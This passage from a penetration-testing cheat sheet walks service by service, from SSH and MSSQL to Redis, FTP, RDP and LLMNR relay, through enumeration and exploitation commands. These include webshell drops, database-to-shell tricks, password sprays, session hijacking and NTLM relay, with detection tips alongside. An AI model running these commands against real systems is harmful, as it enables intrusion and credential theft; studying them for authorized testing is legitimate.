/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt 471 # dnsenum — classic all-in-one (https://github.com/fwaeytens/dnsenum) 472 dnsenum --dnsserver $IP --enum $DOMAIN 473 # fierce — fast sub-brute + zone-transfer attempt (https://github.com/mschwager/fierce) 474 fierce --domain $DOMAIN --dns-servers $IP 475 ``` 476 477 **ADIDNS poisoning (credentialed, internal):** any domain user can create *new* DNS records in AD-integrated DNS (wildcard/LLMNR-like spoofing without the race). Dump the zone, then add a record pointing at yourself — pairs with Responder/ntlmrelayx below. 478 ```bash 479 adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC # dump the whole ADIDNS zone (https://github.com/dirkjanm/adidnsdump) 480 dnstool.py -u "$DOMAIN\\$U" -p "$P" -r fakerec.$DOMAIN -a add -d $LHOST $DC # add a spoof record (krbrelayx suite) 481 ``` 482 483 > [!tip] A successful AXFR is one of the fastest wins in the game — it hands you every subdomain, internal hostname, and IP in a single unauthenticated query. Test `dig axfr` against **every** nameserver you discover. 484 485 > [!warning] Watch out Most modern servers reject AXFR from untrusted IPs (empty/`Transfer failed`) — a failure is normal, not a dead end. `dig any` is unreliable (resolvers filter it); query record types individually. Need the NS name for the `@ns1.` form — get it from `dig NS` first. On AD networks, dynamic DNS updates (unauthenticated RFC 2136 on some labs) can also *add* records — but don't confuse that with AXFR read access. 486 487 --- 488 489 ### `> SSH — audit, user enum & banners (22)` 490 491 **What to look for:** the exact OpenSSH build (banner → CVE search), weak host-key algorithms and ciphers, enabled auth methods (`password` on = sprayable), and pre-auth user enumeration on old OpenSSH. 492 493 **Enumerate:** 494 ```bash 495 nc $IP 22 # raw banner grab: SSH-2.0-OpenSSH_7.2p2 ... 496 ssh-audit $IP # full algo/cve/policy audit (https://github.com/jtesta/ssh-audit) 497 nmap -Pn -sC -sV -p22 $IP # ssh2-enum-algos, ssh-hostkey 498 ``` 499 500 **Exploit / Attack:** 501 ```bash 502 # OpenSSH <= 7.7 user enumeration concept (CVE-2018-15473): a malformed packet makes the 503 # server answer differently for valid vs invalid usernames. Verify the version first. 504 python3 /usr/share/metasploit-framework/.../ssh_enumusers 2>/dev/null # or: 505 msfconsole -q -x "use auxiliary/scanner/ssh/ssh_enumusers; set RHOSTS $IP; set USER_FILE users.txt; run; exit" 506 # spray discovered users (respect lockouts on AD-joined/PAM-faillock hosts) 507 hydra -L users.txt -p 'Summer2026!' -t 4 -W 5 ssh://$IP 508 # stolen key from NFS/FTP/SMB loot? 509 chmod 600 id_rsa && ssh -i id_rsa $U@$IP 510 ``` 511 512 > [!warning] Watch out CVE-2018-15473 is a *concept check*, not a given — it only works on unpatched OpenSSH ≤ 7.7 (and derivatives that shipped the bug). Don't burn time on it against OpenSSH 8.x+. SSH brute is one of the most-monitored vectors on the internet (auth.log / Event 4625 type 3 equivalents); spray slow with `-W`. Deep dive: 🔷 Attacking SSH if present, else Common Ports and Services Cheatsheet 2026. 513 514 --- 515 516 ### 🐬 MSSQL (1433) 517 518 **What to look for** → a Microsoft SQL Server (top-tier on AD boxes). Windows-auth with a domain user often just works; from there `xp_cmdshell` → RCE, `EXECUTE AS` → `sa`, and **linked servers** hop you to hosts you can't even reach. Full attack chains (xp_cmdshell privesc, linked-server pivots) continue in [Stage 09](/sheets/pentest-workflow/privilege-escalation) and [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). 519 520 **Enumerate** 521 ```bash 522 nxc mssql $IP -u "$U" -p "$P" # cleartext creds 523 nxc mssql $IP -u "$U" -p "$P" -q "SELECT @@version" # test query 524 nmap -Pn -sV --script ms-sql-info -p1433 $IP # version + config without creds 525 nxc mssql $IP -u "$U" -p "$P" -M mssql_priv # map impersonation/linked-server paths 526 ``` 527 528 **Exploit / lateral** ([mssqlclient.py](https://github.com/fortra/impacket), [sqsh](https://github.com/grayhemp/sqsh) as the interactive alternative on some distros) 529 ```bash 530 # foothold — Windows integrated auth is the common HTB path 531 mssqlclient.py "$DOMAIN"/"$U":"$P"@$IP -windows-auth 532 # in-client: 533 # SQL> enable_xp_cmdshell 534 # SQL> xp_cmdshell whoami 535 # SQL> EXECUTE AS LOGIN = 'sa'; -- impersonate up to sa if granted IMPERSONATE 536 # SQL> EXEC sp_linkedservers; -- discover linked servers 537 # SQL> EXEC ('xp_cmdshell ''whoami''') AT [SQL02]; -- run on the LINKED box (double-hop) 538 # sqsh interactive variant: 539 sqsh -S $IP -U "$U" -P "$P" -h 540 ``` 541 > [!warning] Watch out 542 > `xp_cmdshell` runs as the SQL **service account** — check `whoami /priv` for `SeImpersonate` (→ potato, STAGE 9). Linked-server chains often run as `sa` on the far end even when you're low-priv locally — enumerate the whole `sp_linkedservers` graph before giving up. `xp_cmdshell` writes to `sys.configurations` — a 1433 login followed by reconfiguration is a classic SQL-audit-log tripwire (and shows as MSSQL AUDIT events). Deep dive: 🔷 Attack. 543 ### 📡 More Services — SMTP · IMAP/POP3 · MySQL · PostgreSQL · Redis · MongoDB · Oracle · RDP · WinRM · VNC/Telnet · IPMI · R-services 544 545 The services STAGE 3 hasn't touched yet — mail, the *other* database engines, remote-desktop, and the legacy/out-of-band stuff (SNMP write, IPMI, rsync, r-services, finger). Same rhythm: look-for → enumerate → exploit. Module deep-dives: 10 - Attacking Email Services · 7 - Attacking SQL Databases · 8 - Attacking RDP · 5 - Attacking FTP · protocol NSE scripts in NSE Guide, ports in Common Ports and Services Cheatsheet 2026. 546 547 --- 548 549 #### `> SMTP — user enum, open relay & spray (25 / 465 / 587)` 550 551 **What to look for:** `VRFY`/`EXPN` in the nmap `smtp-commands` banner, an open relay, Postfix/Exchange/**OpenSMTPD** banner (CVE-2020-7247 unauth RCE), and — from the MX record — whether mail is self-hosted or a cloud tenant (O365/G-Suite), which changes the whole approach. 552 553 **Enumerate:** 554 ```bash 555 host -t MX $DOMAIN # who handles mail — cloud vs self-hosted 556 dig +short mx $DOMAIN 557 sudo nmap -Pn -sV -sC -p25,465,587 $IP # smtp-commands leaks VRFY/EXPN support 558 # manual user enum — telnet, try ALL THREE primitives (killing VRFY doesn't kill RCPT) 559 telnet $IP 25 560 # VRFY root 252/250 = exists, 550 = unknown 561 # EXPN support-team expands a distro list -> every member (bigger leak) 562 # MAIL FROM:a@a.com + RCPT TO:john 250 = valid recipient (hardest to disable) 563 # automate against a list (RCPT mode needs -D <domain>) — https://github.com/pentestmonkey/smtp-user-enum 564 smtp-user-enum -M RCPT -U users.txt -D $DOMAIN -t $IP 565 smtp-user-enum -M VRFY -U users.txt -t $IP 566 smtp-user-enum -M EXPN -U users.txt -t $IP 567 ``` 568 569 **Exploit / Attack:** confirmed users → spray; open relay → spoofed phishing; cloud tenant → purpose-built tooling. 570 ```bash 571 # spray discovered users (pop3/imap/smtp all valid — just swap the module name) 572 hydra -L users.txt -p 'Company01!' -f $IP smtp 573 # open relay -> send AS a trusted internal sender 574 nmap -p25 -Pn --script smtp-open-relay $IP 575 swaks --from admin@$DOMAIN --to victim@$DOMAIN --server $IP \ 576 --header 'Subject: IT Notice' --body "http://$LHOST/survey" 577 # O365 tenant — generic brute is throttled; enumerate + spray with o365spray (https://github.com/0xZDH/o365spray) 578 python3 o365spray.py --validate --domain $DOMAIN 579 python3 o365spray.py --enum -U users.txt --domain $DOMAIN 580 python3 o365spray.py --spray -U valid.txt -p 'Spring2026!' --count 1 --lockout 1 --domain $DOMAIN 581 ``` 582 583 > [!warning] Watch out 584 > - `VRFY`/`EXPN`/`RCPT TO` are three *independent* enum primitives — test all three; admins usually only disable `VRFY`. 585 > - O365/G-Suite/Zoho block generic tools (hydra) at the provider — use **o365spray/MailSniper/CredKing** and keep them current, Microsoft moves the endpoints. 586 > - `OpenSMTPD` in the banner → check **CVE-2020-7247** (unauth RCE *as root* via a `;` smuggled in the `MAIL FROM` address). 587 > - `smtp-user-enum -M RCPT` is slow (~7 q/s) and noisy — scope the userlist. 588 589 --- 590 591 #### `> IMAP / POP3 — user enum & mailbox read (110 / 143 / 993 / 995)` 592 593 **What to look for:** cleartext 110/143 vs TLS 993/995, POP3 `USER` enum (`+OK`/`-ERR`), and — once you have a cred — the mailbox itself (next password, reset mail, VPN configs live in inboxes). 594 595 **Enumerate:** 596 ```bash 597 nmap -Pn -sV -sC -p110,143,993,995 $IP # capabilities + TLS fingerprint 598 # POP3 username enum (same primitive as SMTP VRFY) 599 telnet $IP 110 600 # USER john +OK (valid) 601 # USER julio -ERR (invalid) 602 ``` 603 604 **Exploit / Attack:** brute, then actually read the mailbox over TLS. 605 ```bash 606 hydra -L users.txt -p 'Company01!' -f $IP imap 607 hydra -l "$U" -P rockyou.txt -f $IP pop3 608 # IMAP over TLS — log in and dump a message 609 openssl s_client -connect $IP:993 -quiet 610 # a LOGIN "$U" "$P" 611 # a LIST "" "*" 612 # a SELECT INBOX 613 # a FETCH 1 BODY[] 614 # POP3S 615 openssl s_client -connect $IP:995 -quiet # USER / PASS / LIST / RETR 1 616 curl -k "imaps://$IP" --user "$U:$P" # curl speaks imap(s)/pop3(s) too 617 ``` 618 619 > [!tip] Don't stop at "login worked" — mailboxes are a top source of the *next* credential and password-reset links. Always `SELECT INBOX` and read. 620 621 > [!warning] Watch out 110/143 are plaintext — sniffable on a MITM'd segment. Use the `openssl s_client` wrapper (not raw `telnet`) for the 993/995 TLS ports or the handshake fails. 622 623 --- 624 625 #### `> MySQL — file r/w → webshell (3306)` 626 627 **What to look for:** weak/reused SQL creds, `secure_file_priv` **empty** (FILE priv → read/write files on disk), the daemon running as root, and old 5.6.x builds (CVE-2012-2122 auth bypass). This is the LAMP database — the AD one (MSSQL, `xp_cmdshell`, linked servers) is already the 🐬 MSSQL block above. 628 629 **Enumerate:** 630 ```bash 631 nmap -Pn -sV -sC -p3306 $IP # mysql-info: version, salt, auth plugin 632 nxc mysql $IP -u "$U" -p "$P" 633 mysql -u "$U" -p"$P" -h $IP # NOTE: no space after -p (else it reads a DB name) 634 # SHOW DATABASES; USE <db>; SHOW TABLES; SELECT * FROM users; 635 # SELECT @@version; SELECT system_user(); 636 # SHOW VARIABLES LIKE 'secure_file_priv'; -- '' = file r/w unrestricted 637 ``` 638 639 **Exploit / Attack:** turn FILE privilege into a webshell or read local secrets. 640 ```sql 641 -- read any file the service account can read (needs FILE priv) 642 SELECT LOAD_FILE('/etc/passwd'); 643 -- write a webshell into the web root (secure_file_priv must be EMPTY) 644 SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/x.php'; 645 ``` 646 ```bash 647 curl "http://$IP/x.php?c=id" # trigger it 648 # legacy MySQL 5.6.x auth bypass — hammer with any password until it lets you in 649 for i in $(seq 1 1000); do mysql -u root --password=wrong -h $IP 2>/dev/null; done # CVE-2012-2122 650 ``` 651 652 **UDF RCE note:** if FILE priv exists but `secure_file_priv` blocks OUTFILE to the web root, the other path is a User-Defined Function — upload a compiled `lib_mysqludf_sys` shared object into the plugin dir and `CREATE FUNCTION sys_exec`. Windows-targeted via `plugin_dir` when writable; see 7 - Attacking SQL Databases. 653 654 > [!warning] Watch out `secure_file_priv` = `NULL` disables file I/O entirely (no `OUTFILE`); a set directory restricts it — check it *before* assuming a webshell drop works. MySQL has no `xp_cmdshell` — RCE means FILE-priv webshell into a live web root, or a UDF. Deep dive: 7 - Attacking SQL Databases. 655 656 --- 657 658 #### `> PostgreSQL — default creds & COPY TO PROGRAM (5432)` 659 660 **What to look for:** default/blank `postgres` creds, an exposed 5432, and a superuser session → **CVE-2019-9193**-style RCE via `COPY ... FROM PROGRAM` (works on PostgreSQL 9.3+ when you're superuser or have `pg_execute_server_program`). 661 662 **Enumerate:** 663 ```bash 664 nmap -Pn -sV -sC -p5432 $IP 665 psql -h $IP -U postgres # blank / postgres / password 666 nxc pgsql $IP -u postgres -p postgres 667 ``` 668 669 **Exploit / Attack:** 670 ```sql 671 -- superuser check 672 SELECT current_setting('is_superuser'); 673 -- RCE via COPY FROM PROGRAM (superuser) 674 DROP TABLE IF EXISTS cmd_exec; 675 CREATE TABLE cmd_exec(cmd_output text); 676 COPY cmd_exec FROM PROGRAM 'id'; 677 SELECT * FROM cmd_exec; 678 -- file read 679 CREATE TABLE file_read(data text); 680 COPY file_read FROM '/etc/passwd'; 681 ``` 682 683 > [!warning] Watch out `COPY FROM PROGRAM` is a *feature* gated on superuser — most exposed instances with default creds are `postgres` = superuser, so it fires more often than you'd expect. Metasploit `postgres_payload` automates the same thing. On Windows builds of PostgreSQL the service account often has `SeImpersonate` → Stage 09 potato territory. 684 685 --- 686 687 #### `> Redis — unauth access → SSH key write (6379)` 688 689 **What to look for:** no-auth Redis bound to 0.0.0.0 (`INFO` answers instantly). From there: data theft, `CONFIG` abuse to write files as the redis user (SSH key → shell), or replication-based module-load RCE (Redis ≥ 4.x). 690 691 **Enumerate / Attack:** 692 ```bash 693 redis-cli -h $IP info # unauth? -> server/version/role info 694 redis-cli -h $IP config get dir # current working dir of the process 695 redis-cli -h $IP config get dbfilename 696 # classic SSH-key write (needs writable target dir, e.g. /var/lib/redis/.ssh or root/.ssh) 697 ssh-keygen -t rsa -f redis_key 698 (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > pub.txt 699 redis-cli -h $IP config set dir /var/lib/redis/.ssh 700 redis-cli -h $IP config set dbfilename authorized_keys 701 cat pub.txt | redis-cli -h $IP -x set sshkey 702 redis-cli -h $IP save 703 ssh -i redis_key redis@$IP 704 # module-load RCE (4.x/5.x): rogue-server replication -> load .so -> system.exec 705 # (automated by redis-rogue-server / metasploit redis modules) 706 ``` 707 708 > [!warning] Watch out `CONFIG SET dir` fails if the redis user can't write there — probe with `config get dir` and pick a dir the service owns (its own data dir is guaranteed). `save` rewrites the on-disk DB; on a production box that's destructive — do it in a lab or snapshot the RDB path first. Newer Redis (6+) supports ACLs — `AUTH default ""` may still answer if not configured. 709 710 --- 711 712 #### `> MongoDB — unauth dump (27017)` 713 714 **What to look for:** pre-3.x-style MongoDB with no `security.authorization` set — full database read/write with zero creds. On modern builds look for default/weak users and leftover `admin` accounts. 715 716 **Enumerate / Attack:** 717 ```bash 718 nmap -Pn -sV --script mongodb-info,mongodb-databases -p27017 $IP 719 mongosh "mongodb://$IP:27017" # unauth connect 720 mongosh "mongodb://$IP:27017" --eval 'db.adminCommand({listDatabases:1})' 721 # dump a collection 722 mongosh "mongodb://$IP:27017/appdb" --eval 'db.users.find().toArray()' 723 # legacy client syntax 724 mongo --host $IP appdb --eval 'db.users.find()' 725 ``` 726 727 > [!warning] Watch out Unauth Mongo is rarer on modern stacks but endemic on legacy appliances and dev boxes. Found user creds with bcrypt/pbkdf2 hashes → offline crack in [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting). Also check `rs.slaveOk()`-style replica access — secondaries sometimes answer when primaries require auth. 728 729 --- 730 731 #### `> Oracle TNS — SID brute → odat (1521)` 732 733 **What to look for:** the TNS listener, a valid **SID** (nothing works without it), default creds (`scott/tiger`, `system/manager`, `dbsnmp/dbsnmp`), and a DBA account → file write to the web root / OS command exec. 734 735 **Enumerate:** 736 ```bash 737 sudo nmap -p1521 -sV $IP --open 738 nmap -p1521 --script oracle-sid-brute $IP # find a valid SID (ORCL, XE, ...) 739 nmap -p1521 --script oracle-brute --script-args oracle-brute.sid=XE $IP 740 # odat all-in-one 741 odat all -s $IP -p 1521 742 odat sidguesser -s $IP -p 1521 # SID brute 743 odat passwordguesser -s $IP -p 1521 -d XE # default-cred spray against a SID 744 ``` 745 746 **Exploit / Attack:** log in with SID+creds, then use a DBA account to touch the filesystem. 747 ```bash 748 sqlplus scott/tiger@$IP:1521/XE # normal login 749 sqlplus scott/tiger@$IP:1521/XE as sysdba # privileged login 750 # DBA -> drop a webshell to the server's web root 751 odat utlfile -s $IP -d XE -U scott -P tiger --sysdba \ 752 --putFile C:\\inetpub\\wwwroot shell.aspx ./shell.aspx 753 # DBA -> read/exec on the box 754 odat externaltable -s $IP -d XE -U scott -P tiger --sysdba --exec 'C:\\' 'whoami' 755 ``` 756 757 > [!warning] Watch out NOTHING works without a valid SID — sid-brute first. `odat`/`sqlplus` (instantclient) have finicky deps; a cryptic error usually means the client, not the target. `scott/tiger` and friends are *shockingly* common on Oracle. File-write/exec needs `--sysdba`. 758 759 --- 760 761 #### `> RDP — NLA check, spray, hijack & Pass-the-Hash (3389)` 762 763 **What to look for:** `ms-wbt-server`, NLA state + domain from `rdp-ntlm-info`, valid creds to spray (mind lockout), an NTLM hash (→ PtH via Restricted Admin), or an old unpatched host (→ BlueKeep). Local admin already? → hijack a live session. 764 765 **Enumerate:** 766 ```bash 767 nxc rdp $IP # fast NLA check (nla:True/False) + auth test 768 nmap -Pn -p3389 --script rdp-ntlm-info,rdp-enum-encryption $IP # domain/host + ciphers 769 # BlueKeep pre-check — scanner only, DON'T fire the RCE on prod 770 msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS $IP; run; exit" 771 ``` 772 773 **Spray and connect from Linux** ([xfreerdp / FreeRDP](https://github.com/FreeRDP/FreeRDP)) 774 775 ```bash 776 # Spray one password across users. Respect the domain lockout policy. 777 crowbar -b rdp -s $IP/32 -U users.txt -c 'Password123' 778 hydra -L users.txt -p 'Password123' -t 4 -W 3 $IP rdp 779 780 # Log in and accept the lab's self-signed certificate. 781 xfreerdp /v:$IP /u:"$U" /p:"$P" /cert:ignore +clipboard /dynamic-resolution 782 # v3 syntax on newer FreeRDP builds: 783 xfreerdp3 /v:$IP /u:"$U" /p:"$P" /cert:ignore 784 785 # Pass-the-Hash after Restricted Admin Mode has been enabled by an administrator. 786 xfreerdp /v:$IP /u:Administrator /pth:<NTLMHASH> 787 ``` 788 789 **Enable Restricted Admin Mode from an elevated Command Prompt** 790 791 ```batch 792 reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f 793 ``` 794 795 **Hijack an existing RDP session from a SYSTEM/local-admin Command Prompt** 796 797 ```batch 798 query user 799 sc.exe create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13" 800 net start sesshijack 801 ``` 802 803 > [!warning] Watch out RDP honours account lockout → spray, never brute (4625s with logon type 3/10 per attempt). `nla:True` blocks the pre-auth login screen (good for the defender) but NOT credentialed spray — nxc rdp still validates creds through NLA. `tscon` hijack needs SYSTEM (hence the service trick) and no longer works on Server 2019+. PtH-RDP only fires if `DisableRestrictedAdmin` is set. BlueKeep can BSOD the box — scan, get client sign-off, then exploit. Deep dive: 8 - Attacking RDP. 804 805 --- 806 807 #### `> WinRM — shell over 5985 / 5986` 808 809 **What to look for:** Windows Remote Management (HTTP 5985 / HTTPS 5986) — a login here is an immediate interactive shell if the user is in *Remote Management Users* or admin. MITRE [T1021.006 Windows Remote Management](https://attack.mitre.org/techniques/T1021/006/). 810 811 **Enumerate / Attack:** 812 ```bash 813 nxc winrm $IP -u "$U" -p "$P" # validate creds (Pwn3d! = shell-able) 814 nxc winrm $IP -u "$U" -H <NTLM> # hash auth works too 815 evil-winrm -i $IP -u "$U" -p "$P" # interactive PS shell (https://github.com/Hackplayers/evil-winrm) 816 evil-winrm -i $IP -u "$U" -H <NTLMHASH> # pass-the-hash straight into a shell 817 evil-winrm -i $IP -u "$U" -p "$P" -S # 5986/SSL variant 818 evil-winrm -i $IP -u "$U" -p "$P" -s scripts/ -e exes/ # PS upload + exec dirs baked in 819 ``` 820 821 > [!tip] `evil-winrm -s` + `-e` dirs make uploading PowerShell tools (PowerView, PrivescCheck) and binaries trivial — `menu` shows the loaded modules. WinRM auth is NTLM by default; use `-k` + realm for Kerberos. 822 823 > [!warning] Watch out WinRM logons are Event ID **4624 type 3** on the target plus **91/168** in the WinRM Operational log — a SOC watching remoting will see every connection. On 5986 with a self-signed cert, `-S` plus accepting the cert is normal in labs. 824 825 --- 826 827 #### `> VNC & Telnet — brief (5900+ / 23)` 828 829 **VNC (5900, 5901...):** check for no-auth or weak VNC passwords (VNC auth caps at 8 chars — tiny keyspace). 830 ```bash 831 nmap -Pn -sV --script vnc-info,vnc-brute -p5900 $IP 832 hydra -P /usr/share/wordlists/rockyou.txt -t 4 $IP vnc 833 vncviewer $IP:0 834 # cracked the obfuscated desktop-side password? decrypt the .vnc/registry blob (vncpwd) — Stage 08 835 ``` 836 837 **Telnet (23):** cleartext everything — banner often leaks OS; default creds on appliances; sniffable on the wire. 838 ```bash 839 nc $IP 23 # banner 840 telnet $IP # interactive — try admin/admin, cisco/cisco, root/root 841 hydra -L users.txt -P passwords.txt -t 4 telnet://$IP 842 ``` 843 844 > [!warning] Watch out VNC sessions are *shared consoles* — the logged-in user sees your mouse. Telnet creds transit in cleartext; if you have a network tap (Responder-era access), passive capture beats brute. Both are legacy — finding them is a reportable finding by itself. 845 846 --- 847 848 #### `> SNMP — write community, braa & snmp-check (161/udp)` 849 850 **What to look for:** *(extends the STAGE 3 SNMP block — base OIDs already there)* a **writable** community (`private` → `snmpset`), fast bulk scraping, non-default community names, and SNMPv3 (needs a user+auth/priv cred, not just a string). 851 852 **Enumerate:** 853 ```bash 854 # broader community brute than onesixtyone alone 855 nmap -sU -p161 --script snmp-brute $IP \ 856 --script-args snmp-brute.communitiesdb=/usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 857 hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP snmp 858 # structured one-shot dump (users, processes, netstat, software, storage) 859 snmp-check -c public $IP 860 # braa — mass/fast OID sweep, far quicker than snmpwalk for scraping 861 braa public@$IP:.1.3.6.1.* 862 # extras beyond the STAGE 3 OID set 863 snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects # extend scripts (RCE-ish) 864 snmpbulkwalk -v2c -c public -Cr1000 $IP .1 # bulk = fewer round-trips 865 ``` 866 867 **Exploit / Attack:** a RW string rewrites device config. 868 ```bash 869 snmpset -v2c -c private $IP <OID> s "value" # write with a RW community 870 # creds/paths scraped from process args (25.4.2, in the STAGE 3 block) -> SSH/spray 871 ``` 872 873 > [!warning] Watch out UDP/161 — needs `nmap -sU` or it's invisible. `private` (RW) is the jackpot: `snmpset` can rewrite config. SNMPv3 won't yield to a community string. `braa` needs the trailing `.1.3.6.1.*` glob. This block adds the *write* path + fast tooling on top of the STAGE 3 read-only OID walk. 874 875 --- 876 877 #### `> IPMI — RAKP hash dump (623/udp)` 878 879 **What to look for:** a BMC (Dell iDRAC, HP iLO, Supermicro). IPMI 2.0's RAKP handshake hands a **password hash for any valid user to any unauthenticated client** — dump and crack offline. Plus cipher-0 auth bypass and default BMC creds. 880 881 **Enumerate:** 882 ```bash 883 sudo nmap -sU -p623 --script ipmi-version $IP 884 msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_version; set RHOSTS $IP; run; exit" 885 ``` 886 887 **Exploit / Attack:** 888 ```bash 889 # dump RAKP HMAC hash (unauth) -> crack offline 890 msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS $IP; run; exit" 891 hashcat -m 7300 ipmi.hash /usr/share/wordlists/rockyou.txt # IPMI2 RAKP HMAC-SHA1 892 # cipher-0 bypass (BMC accepts any password) -> read users / set a password 893 ipmitool -I lanplus -C 0 -H $IP -U root -P '' user list 894 ipmitool -I lanplus -C 0 -H $IP -U root -P '' user set password 2 newpass 895 ``` 896 897 > [!warning] Watch out UDP/623 — `-sU`. The RAKP dump is a *protocol design flaw*, not a misconfig — it works against fully-patched IPMI 2.0. Default BMC creds are everywhere (`ADMIN/ADMIN` Supermicro, `root/calvin` iDRAC). A BMC controls the host below the OS — treat it as a critical finding. 898 899 --- 900 901 #### `> Rsync — anonymous modules (873)` 902 903 **What to look for:** an rsync daemon exposing modules without auth — backup hosts, web roots, and whole home directories, sometimes writable. 904 905 **Enumerate:** 906 ```bash 907 nmap -Pn -sV -p873 --script rsync-list-modules $IP 908 rsync -av --list-only rsync://$IP/ # list modules 909 rsync -av --list-only rsync://$IP/share # list files in a module 910 ``` 911 912 **Exploit / Attack:** 913 ```bash 914 rsync -av rsync://$IP/share ./loot # pull an anon-readable module 915 rsync -av rsync://user@$IP/share ./loot # authenticated (prompts for password) 916 # writable module -> arbitrary file write (SSH key / webshell) 917 rsync -av ./id_rsa.pub rsync://$IP/share/home/user/.ssh/authorized_keys 918 ``` 919 920 > [!warning] Watch out Anonymous rsync often exposes entire home dirs / web roots. A *writable* module = arbitrary write → `authorized_keys` (SSH) or webshell (RCE). `--list-only` first so you scope before pulling gigabytes of backups. 921 922 --- 923 924 #### `> R-services & finger — legacy trust (512 / 513 / 514 · 79)` 925 926 **What to look for:** rexec (512), rlogin (513), rsh (514) — password-free access when a source host/user is *trusted* via `.rhosts`/`hosts.equiv` (`+ +` = anyone). finger (79) leaks valid usernames, real names, login times, home dirs. 927 928 **Enumerate:** 929 ```bash 930 nmap -Pn -sV -p79,512,513,514 $IP 931 rusers -al $IP # users/sessions across trusted hosts 932 rwho # who's logged in (udp/513) 933 finger @$IP # who's logged in 934 finger root@$IP # valid user vs "No such user" 935 finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t $IP 936 ``` 937 938 **Exploit / Attack:** ride the trust — no password if your host/user is allowed. 939 ```bash 940 rlogin $IP -l root # rlogin as a trusted user 941 rsh -l <user> $IP "id" # one-shot command through the trust 942 rsh $IP -l root "cat /etc/shadow" 943 ``` 944 945 > [!warning] Watch out Needs `rsh-client`/`rlogin` installed locally. Trust is keyed on *source host/IP + username* — matching a trusted account (often hinted at in NFS/`passwd` loot) gets you in with no password; a `+ +` in `/etc/hosts.equiv` or `~/.rhosts` = passwordless for anyone. finger output feeds straight into SSH/SMTP/RDP username spraying. 946 947 --- 948 949 #### `> FTP — brute, bounce & anon-write→webroot (21)` 950 951 **What to look for:** *(extends the STAGE 3 FTP anon block)* a writable dir that's also a **web root** (anon-write → webshell → RCE), FTP **bounce** (`PORT` abuse → scan internal hosts *through* the FTP box), weak creds, and a banner → CVE (vsftpd 2.3.4 backdoor, CoreFTP CVE-2022-22836). 952 953 **Enumerate:** 954 ```bash 955 sudo nmap -sC -sV -p21 $IP # ftp-anon flags [NSE: writeable] dirs 956 ``` 957 958 **Exploit / Attack:** 959 ```bash 960 # brute 961 medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp 962 hydra -L users.txt -P rockyou.txt ftp://$IP 963 # anon-write -> webshell if the FTP root is served over HTTP 964 ftp $IP # anonymous login; then: binary / put shell.php / put shell.aspx 965 curl "http://$IP/shell.php?c=id" # trigger via the web root 966 # FTP BOUNCE — scan an internal host THROUGH the FTP server's PORT command 967 nmap -Pn -v -n -p80,443,3306 -b anonymous:password@$IP <internal_ip> 968 # CoreFTP HTTP PUT arbitrary write (CVE-2022-22836) 969 curl -k -X PUT --basic -u "$U:$P" --data-binary "<?php system(\$_GET['c']);?>" \ 970 --path-as-is "https://$IP/../../../../inetpub/wwwroot/x.php" 971 ``` 972 973 > [!warning] Watch out Always `binary` before uploading a webshell/DB. Bounce only works on un-hardened daemons — a hit is both a reportable misconfig *and* a pivot into an otherwise-unreachable segment. `--path-as-is` is mandatory for the CoreFTP write or curl collapses the `../` itself. Deep dive: 5 - Attacking FTP. 974 975 --- 976 977 ### ⚡ No-Credential Foothold — Poison & Relay 978 979 **What to look for** → SMB null/anon is blocked, no web creds, but you're on the internal subnet. This is the zero-credential on-ramp: make a victim authenticate *to you* (poison or coerce), then either crack the NetNTLMv2 or relay it live to a service that isn't signing. STAGE 3's SMB scan already told you *who's relayable* — the `signing:False` rows. MITRE [T1557.001 Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001/) + [T1040 Network Sniffing](https://attack.mitre.org/techniques/T1040/). 980 981 **Find relay targets first** (signing disabled = relayable) 982 ```bash 983 # hunt the whole subnet for SMB signing:False → the only hosts you can relay TO 984 nxc smb $IP/24 --gen-relay-list relay.txt # note the exact spelling: --gen-relay-list 985 cat relay.txt 986 ``` 987 988 **Poison — [Responder](https://github.com/lgandx/Responder)** (LLMNR / NBT-NS / mDNS) 989 ```bash 990 # 1. LISTEN FIRST (Analyze mode) — see who's broadcasting before you answer anything 991 sudo responder -I tun0 -A 992 993 # 2. Poison + capture NetNTLMv2 (WPAD on, verbose). Leave it running. 994 sudo responder -I tun0 -wv 995 # hashes land in /usr/share/responder/logs/ → crack in STAGE 8: 996 hashcat -m 5600 responder-hash.txt rockyou.txt # NetNTLMv2 997 ``` 998 > [!warning] Watch out 999 > If you're going to **relay** instead of crack, turn Responder's own SMB + HTTP servers **OFF** first (`/etc/responder/Responder.conf` → `SMB = Off`, `HTTP = Off`) or it steals the auth ntlmrelayx wants. Responder captures are **NetNTLMv2** (`-m 5600`) — these are *not* pass-the-hashable, only crackable. Deep dive: 🔴 Attack. 1000 1001 > [!danger] Detection — poisoning & relay 1002 > Responder answering every LLMNR/NBNS broadcast is **loud**: it appears in EDR network dashboards, Windows Defender alerts ("network spoofing"), and any LLMNR-monitoring Sigma rule within minutes. Relayed auths leave **4624 type 3** logons from an *unexpected source IP* (yours) on the victim services, and coercion→relay chains generate **4769** TGS requests from machine accounts against unusual SPNs. Expect a mature SOC to catch a full-noise Responder run; time-box it and prefer targeted poisoning (single interface, `-A` first) on real engagements. 1003 1004 **Relay — ntlmrelayx** (turn captured auth into action, no cracking; part of [impacket](https://github.com/fortra/impacket)) 1005 ```bash 1006 # SMB relay → interactive shell / command / SOCKS pivot 1007 ntlmrelayx.py -tf relay.txt -smb2support -i # -i = interactive SMB client on 127.0.0.1 1008 ntlmrelayx.py -tf relay.txt -smb2support -c 'whoami' # one-shot command 1009 ntlmrelayx.py -tf 